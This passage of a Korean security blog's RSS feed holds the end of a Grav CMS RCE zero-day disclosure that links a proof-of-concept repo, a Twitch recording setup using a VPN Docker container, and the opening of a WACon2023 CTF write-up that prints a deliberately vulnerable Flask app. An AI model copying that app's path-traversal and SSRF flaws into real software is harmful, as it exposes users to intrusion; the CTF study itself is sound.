&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;708&quot; data-origin-height=&quot;187&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k4fbo/btsDoiaaldE/l0Ld1nURC3insUT3mCbfrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k4fbo/btsDoiaaldE/l0Ld1nURC3insUT3mCbfrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k4fbo/btsDoiaaldE/l0Ld1nURC3insUT3mCbfrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk4fbo%2FbtsDoiaaldE%2Fl0Ld1nURC3insUT3mCbfrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;708&quot; height=&quot;187&quot; data-origin-width=&quot;708&quot; data-origin-height=&quot;187&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 해결하기 위해 공식 docs를 확인해본 결과, Contact Form은 기본적으로 XSS 방지를 위해 설정이 enable 되어 있다고 합니다. 이를 비활성화 하기 위해 `xss_check: false` 라고 작성하면 된다고 합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1331&quot; data-origin-height=&quot;221&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3JAbO/btsDkxmpURq/Mf39wrY49TFuG4BcxeCzKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3JAbO/btsDkxmpURq/Mf39wrY49TFuG4BcxeCzKk/img.png&quot; data-alt=&quot;https://learn.getgrav.org/17/forms/forms/form-options#xss-checks&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3JAbO/btsDkxmpURq/Mf39wrY49TFuG4BcxeCzKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3JAbO%2FbtsDkxmpURq%2FMf39wrY49TFuG4BcxeCzKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1331&quot; height=&quot;221&quot; data-origin-width=&quot;1331&quot; data-origin-height=&quot;221&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://learn.getgrav.org/17/forms/forms/form-options#xss-checks&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종 poc 코드는 아래 github repo에 작성되어 있습니다.&lt;/p&gt;
&lt;figure id=&quot;og_1704987315568&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - Universe1122/Grav-CMS-Remote-Code-Execution&quot; data-og-description=&quot;Contribute to Universe1122/Grav-CMS-Remote-Code-Execution development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/Universe1122/Grav-CMS-Remote-Code-Execution&quot; data-og-url=&quot;https://github.com/Universe1122/Grav-CMS-Remote-Code-Execution&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/oWkpN/hyU2rohtwP/WclmVvB9bnUdUrOmQLt2l0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/Universe1122/Grav-CMS-Remote-Code-Execution&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/Universe1122/Grav-CMS-Remote-Code-Execution&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/oWkpN/hyU2rohtwP/WclmVvB9bnUdUrOmQLt2l0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - Universe1122/Grav-CMS-Remote-Code-Execution&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Contribute to Universe1122/Grav-CMS-Remote-Code-Execution development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;3. Timeline&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2023.08.07 : Grav CMS 분석 시작&lt;/li&gt;
&lt;li&gt;2023.08.09 : 다수의 취약점 발견&lt;/li&gt;
&lt;li&gt;2023.08.17 : 3개의 취약점을 github security에 전달&lt;/li&gt;
&lt;li&gt;2023.08.22 : 일부 취약점이 패치 되었지만, 실제로는 제대로 패치 되지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 글 작성 시점에서 최신 버전에서는 될지 모르겠지만 (확인하기 귀찮..), 개발자는 지금까지 제대로 응답을 주지 않고 있습니다. 저는 여러번 확인을 부탁했지만, 그쪽에서는 응답을 주지 않아 이렇게 블로그에 취약점을 공개합니다.&lt;/p&gt;</description>
      <category> Security</category>
      <category>CMS</category>
      <category>GRAV</category>
      <category>zero day</category>
      <author>Universe7202</author>
      <guid isPermaLink="true">https://universe-blog.tistory.com/259</guid>
      <comments>https://universe-blog.tistory.com/entry/%EB%B6%84%EC%84%9D-%EC%9D%BC%EA%B8%B0-docs-%EC%A0%95%EB%8F%85%EC%9C%BC%EB%A1%9C-Grav-CMS%EC%97%90%EC%84%9C-RCE-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%B0%BE%EC%9D%80-%EC%8D%B0#entry259comment</comments>
      <pubDate>Fri, 12 Jan 2024 00:39:37 +0900</pubDate>
    </item>
    <item>
      <title>synology nas에서 gluetun docker를 이용하여 twitch 1080p 자동 녹화 서버 만들기</title>
      <link>https://universe-blog.tistory.com/entry/synology-nas%EC%97%90%EC%84%9C-gluetun-docker%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%98%EC%97%AC-twitch-1080p-%EC%9E%90%EB%8F%99-%EB%85%B9%ED%99%94-%EC%84%9C%EB%B2%84-%EB%A7%8C%EB%93%A4%EA%B8%B0</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;360&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DUFfj/btsz5jc1A19/YqJa71zKMT4d4n1rkoTvN1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DUFfj/btsz5jc1A19/YqJa71zKMT4d4n1rkoTvN1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DUFfj/btsz5jc1A19/YqJa71zKMT4d4n1rkoTvN1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDUFfj%2Fbtsz5jc1A19%2FYqJa71zKMT4d4n1rkoTvN1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;360&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;360&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;1. 개요&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몇년 전 '그' 사건으로 인해 twitch 1080p 가 막히고 다시보기 또한 볼 수 없게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자는 `streamlink`를 이용하여 녹화를 잘 하고 있었지만, 어느순간 1080p가 막히게 되면서 방법을 찾다가 gluetun docker를 접하게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2. 환경 세팅&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 사전 세팅이 필요하다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;synology nas에 ssh 접속 설정&lt;/li&gt;
&lt;li&gt;docker 및 docker-compose 설치&lt;/li&gt;
&lt;li&gt;proton vpn 회원가입
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;회원 가입 후 아래 링크에서 3번까지 진행하기&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://young-cow.tistory.com/95&quot;&gt;https://young-cow.tistory.com/95&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;위에서 다운로드 받은 openvpn config 파일, openvpn id 및 pw 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;twitch API key 발급 (아래 4번에서 설명)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;3. gluetun container 생성&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gluetun 환경 구성을 위해 아래 docs에 잘 설명되어 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/qdm12/gluetun-wiki/tree/main/setup#setup&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/qdm12/gluetun-wiki/tree/main/setup#setup&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자는 openvpn 을 이용하여 vpn docker를 구성할 것이므로 다음과 같은 순서를 따라하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(자세한 설명은 &lt;a href=&quot;https://github.com/qdm12/gluetun-wiki/blob/main/setup/openvpn-configuration-file.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/qdm12/gluetun-wiki/blob/main/setup/openvpn-configuration-file.md&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.1 아까 위에서 다운로드 받은 openvpn config 파일을 synology nas의 작업 폴더에 저장한다. 예를 들어 /homes/my-name/gluetun/ 폴더에 openvpn config 파일을 저장한다. 파일 이름은 `openvpn-config.ovpn` 이라고 가정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.2 docker-compose.yaml 파일을 다음과 같이 작성한다.&lt;/p&gt;
&lt;pre id=&quot;code_1699541133461&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;version: &quot;3&quot;
services:
  gluetun:
    image: qmcgaw/gluetun:v3
    container_name: gluetun
    cap_add:
      - NET_ADMIN
    devices:
      - /dev/net/tun:/dev/net/tun
    volumes:
      - [openvpn 파일이 저장된 폴더 경로]:/gluetun ## 수정 필요
    environment:
      - VPN_SERVICE_PROVIDER=custom
      - OPENVPN_CUSTOM_CONFIG=/gluetun/openvpn-config.ovpn  ## 수정 필요, openvpn 파일 이름
      - OPENVPN_USER= ## 수정 필요 openvpn id
      - OPENVPN_PASSWORD= ## 수정 필요 openvpn password
    restart: unless-stopped&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.3 nas에 ssh 연결하여 작업 폴더로 이동하고, 다음과 같은 명령어를 입력하여 gluetun container를 생성한다.&lt;/p&gt;
&lt;pre id=&quot;code_1699541438465&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker-compose up -d&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.4 다음과 같은 명령어를 입력하여 gluetun container가 정상적으로 실행되었는지 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gluetun container 가 보이지 않거나, STATUS 값이 계속 restarting 이거나 unhealthy 인 경우 `docker-compose logs` 명령어를 입력하여 에러 로그를 확인하여 구글링,,&lt;/p&gt;
&lt;pre id=&quot;code_1699541564838&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo docker ps
CONTAINER ID   IMAGE                                 COMMAND                  CREATED             STATUS                       PORTS                                       NAMES
e9331ef25557   qmcgaw/gluetun:v3                     &quot;/gluetun-entrypoint&quot;    About an hour ago   Up About an hour (healthy)   8000/tcp, 8388/tcp, 8888/tcp, 8388/udp      gluetun&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.5 gluetun container가 openvpn 에 연결이 잘 되었는지 확인하기 위해 다음과 같은 명령어를 입력한다. 출력 값이 본인이 openvpn 설정 파일을 다운로드 받은 국가로 출력 된다면 제대로 연결된 것이다.&lt;/p&gt;
&lt;pre id=&quot;code_1699541868513&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo docker run --rm --network=container:gluetun alpine:3.14 sh -c &quot;apk add wget &amp;amp;&amp;amp; wget -qO- https://ipinfo.io&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4. streamlink container 생성 및 gluetun container의 네트워크에 연결하기&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3번은 gluetun container를 생성하기 위한 과정이었다면, 녹화 전용 container를 만들기 위해 하나의 docker-compose에서 네트워크 설정을 해줘야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 기존의 docker-compose.yaml 파일에서 streamlink container를 추가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;image는 ubuntu로 했지만, 기존에 사용했던 streamlink container를 그대로 사용해도 무관하다.&lt;/p&gt;
&lt;pre id=&quot;code_1699542769166&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;version: &quot;3&quot;
services:
  gluetun:
    image: qmcgaw/gluetun:v3
    container_name: gluetun
    cap_add:
      - NET_ADMIN
    devices:
      - /dev/net/tun:/dev/net/tun
    volumes:
      - [openvpn 파일이 저장된 폴더 경로]:/gluetun ## 수정 필요
    environment:
      - VPN_SERVICE_PROVIDER=custom
      - OPENVPN_CUSTOM_CONFIG=/gluetun/openvpn-config.ovpn  ## 수정 필요, openvpn 파일 이름
      - OPENVPN_USER= ## 수정 필요 openvpn id
      - OPENVPN_PASSWORD= ## 수정 필요 openvpn password
    restart: unless-stopped
    
    
    ## 아래부터 추가됨
  streamlink:
    image: ubuntu         ## 혹은 기존에 사용하던 streamlink 이미지
    command: tail -F anything    ## ubuntu container 안꺼지게 ㅇㅇ
    container_name: streamlink
    volumes:
      - [저장할 녹화 파일 host 폴더 경로]:/app/data  ## host volume 와 container volumne 공유
    network_mode: &quot;container:gluetun&quot;  ## glue container 네트워크 사용
    depends_on: [&quot;gluetun&quot;]  ## glue container 가 정상적으로 실행되면 streamlink container 시작&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에 녹화 관련 container가 있다면 아래부터는 읽지 않아도 되지만, ubuntu 이미지를 이용하여 streamlink를 처음 사용한다면, 아래 링크에 설명되어 있는대로 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://tgd.kr/s/funzinnu/34572047?category=2358396&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://tgd.kr/s/funzinnu/34572047?category=2358396&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 설명 중 녹화 python 코드가 있는데(필자는 코드를 일부분 수정함), 녹화 영상 저장 경로를 /app/data 로 지정해야 host volume에서 이를 열람할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종적으로 gluetun 을 이용하여 vpn 서버를 연결하고 이 container에 연결한 streamlink로 twitch 1080p를 녹화할 수 있게 되었다.&lt;/p&gt;</description>
      <category>ETC</category>
      <author>Universe7202</author>
      <guid isPermaLink="true">https://universe-blog.tistory.com/258</guid>
      <comments>https://universe-blog.tistory.com/entry/synology-nas%EC%97%90%EC%84%9C-gluetun-docker%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%98%EC%97%AC-twitch-1080p-%EC%9E%90%EB%8F%99-%EB%85%B9%ED%99%94-%EC%84%9C%EB%B2%84-%EB%A7%8C%EB%93%A4%EA%B8%B0#entry258comment</comments>
      <pubDate>Fri, 10 Nov 2023 00:18:37 +0900</pubDate>
    </item>
    <item>
      <title>WACon2023 CTF Write up</title>
      <link>https://universe-blog.tistory.com/entry/WACon2023-CTF-Write-up</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;주변에 아는 사람들이랑 총 4명이서 WACon2023 CTF에 참가했습니다. 결과는 15등으로 마무리 했네요.&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;1. [web] mosaic&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;497&quot; data-origin-height=&quot;379&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgqwSe/btssSoNhNws/ngKbeBsbfyAfT9pB3e3511/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgqwSe/btssSoNhNws/ngKbeBsbfyAfT9pB3e3511/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgqwSe/btssSoNhNws/ngKbeBsbfyAfT9pB3e3511/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgqwSe%2FbtssSoNhNws%2FngKbeBsbfyAfT9pB3e3511%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;361&quot; height=&quot;275&quot; data-origin-width=&quot;497&quot; data-origin-height=&quot;379&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 코드는 다음과 같습니다. 이 문제의 컨셉은 이미지 업로드 관련 기능을 제공합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1693741407404&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from flask import Flask, render_template, request, redirect, url_for, session, g, send_from_directory
import mimetypes
import requests
import imageio
import os
import sqlite3
import hashlib
import re
from shutil import copyfile, rmtree
import numpy as np

app = Flask(__name__)
app.secret_key = os.urandom(24)
app.config['MAX_CONTENT_LENGTH'] = 16 * 1000 * 1000
DATABASE = 'mosaic.db'
UPLOAD_FOLDER = 'uploads'
MOSAIC_FOLDER = 'static/uploads'

if os.path.exists(&quot;/flag.png&quot;):
    FLAG = &quot;./flag.png&quot;
else:
    FLAG = &quot;./test-flag.png&quot;

try:
    with open(&quot;password.txt&quot;, &quot;r&quot;) as pw_fp:
        ADMIN_PASSWORD = pw_fp.read()
        pw_fp.close()
except:
    ADMIN_PASSWORD = &quot;admin&quot;

def apply_mosaic(image, output_path, block_size=10):
    height, width, channels = image.shape
    for y in range(0, height, block_size):
        for x in range(0, width, block_size):
            block = image[y:y+block_size, x:x+block_size]
            mean_color = np.mean(block, axis=(0, 1))
            image[y:y+block_size, x:x+block_size] = mean_color
    imageio.imsave(output_path, image)

def hash(password):
    return hashlib.md5(password.encode()).hexdigest()

def type_check(guesstype):
    return guesstype in [&quot;image/png&quot;, &quot;image/jpeg&quot;, &quot;image/tiff&quot;, &quot;application/zip&quot;]

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    return db

def init_db():
    with app.app_context():
        db = get_db()
        db.execute(&quot;CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT unique, password TEXT)&quot;)
        db.execute(f&quot;INSERT INTO users (username, password) values('admin', '{hash(ADMIN_PASSWORD)}')&quot;)
        db.commit()

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/', methods=['GET'])
def index():
    if not session.get('logged_in'):
        return '''&amp;lt;h1&amp;gt;Welcome to my mosiac service!!&amp;lt;/h1&amp;gt;&amp;lt;br&amp;gt;&amp;lt;a href=&quot;/login&quot;&amp;gt;login&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;/register&quot;&amp;gt;register&amp;lt;/a&amp;gt;'''
    else:
        if session.get('username') == &quot;admin&quot; and request.remote_addr == &quot;127.0.0.1&quot;:
            copyfile(FLAG, f'{UPLOAD_FOLDER}/{session[&quot;username&quot;]}/flag.png')
        return '''&amp;lt;h1&amp;gt;Welcome to my mosiac service!!&amp;lt;/h1&amp;gt;&amp;lt;br&amp;gt;&amp;lt;a href=&quot;/upload&quot;&amp;gt;upload&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;/mosaic&quot;&amp;gt;mosaic&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;/logout&quot;&amp;gt;logout&amp;lt;/a&amp;gt;'''

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if not re.match('^[a-zA-Z0-9]*$', username):
            return &quot;Plz use alphanumeric characters..&quot;
        cur = get_db().cursor()
        cur.execute(&quot;INSERT INTO users (username, password) VALUES (?, ?)&quot;, (username, hash(password)))
        get_db().commit()
        os.mkdir(f&quot;{UPLOAD_FOLDER}/{username}&quot;)
        os.mkdir(f&quot;{MOSAIC_FOLDER}/{username}&quot;)
        return redirect(url_for('login'))
    return render_template(&quot;register.html&quot;)

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if not re.match('^[a-zA-Z0-9]*$', username):
            return &quot;Plz use alphanumeric characters..&quot;
        cur = get_db().cursor()
        user = cur.execute(&quot;SELECT * FROM users WHERE username = ? AND password = ?&quot;, (username, hash(password))).fetchone()
        if user:
            session['logged_in'] = True
            session['username'] = user[1]
            return redirect(url_for('index'))
        else:
            return 'Invalid credentials. Please try again.'
    return render_template(&quot;login.html&quot;)

@app.route('/logout')
def logout():
    session.pop('logged_in', None)
    session.pop('username', None)
    return redirect(url_for('login'))

@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if request.method == 'POST':
        image_url = request.form.get('image_url')
        if image_url and &quot;../&quot; not in image_url and not image_url.startswith(&quot;/&quot;):
            guesstype = mimetypes.guess_type(image_url)[0]
            ext = guesstype.split(&quot;/&quot;)[1]
            mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session[&quot;username&quot;]}', f'{os.urandom(8).hex()}.{ext}')
            filename = os.path.join(f'{UPLOAD_FOLDER}/{session[&quot;username&quot;]}', image_url)
            if os.path.isfile(filename):
                image = imageio.imread(filename)
            elif image_url.startswith(&quot;http://&quot;) or image_url.startswith(&quot;https://&quot;):
                return &quot;Not yet..! sry..&quot;
            else:
                if type_check(guesstype):
                    image_data = requests.get(image_url, headers={&quot;Cookie&quot;:request.headers.get(&quot;Cookie&quot;)}).content
                    image = imageio.imread(image_data)
            
            apply_mosaic(image, mosaic_path)
            return render_template(&quot;mosaic.html&quot;, mosaic_path = mosaic_path)
        else:
            return &quot;Plz input image_url or Invalid image_url..&quot;
    return render_template(&quot;mosaic.html&quot;)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if request.method == 'POST':
        if 'file' not in request.files:
            return 'No file part'
        file = request.files['file']
        if file.filename == '':
            return 'No selected file'
        filename = os.path.basename(file.filename)
        guesstype = mimetypes.guess_type(filename)[0]
        image_path = os.path.join(f'{UPLOAD_FOLDER}/{session[&quot;username&quot;]}', filename)
        if type_check(guesstype):
            file.save(image_path)
            return render_template(&quot;upload.html&quot;, image_path = image_path)
        else:
            return &quot;Allowed file types are png, jpeg, jpg, zip, tiff..&quot;
    return render_template(&quot;upload.html&quot;)

@app.route('/check_upload/@&amp;lt;username&amp;gt;/&amp;lt;file&amp;gt;')
def check_upload(username, file):
    print(f'{UPLOAD_FOLDER}/{username}')
    print(file)

    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if username == &quot;admin&quot; and session[&quot;username&quot;] != &quot;admin&quot;:
        return &quot;Access Denied..&quot;
    else:
        return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)

if __name__ == '__main__':
    # init_db()
    app.run(host=&quot;0.0.0.0&quot;, port=&quot;9999&quot;, debug=True)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag를 획득하기 위해서는 admin 계정과 로컬에서 요청을 보내야 획득할 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1693741224437&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/', methods=['GET'])
def index():
    if not session.get('logged_in'):
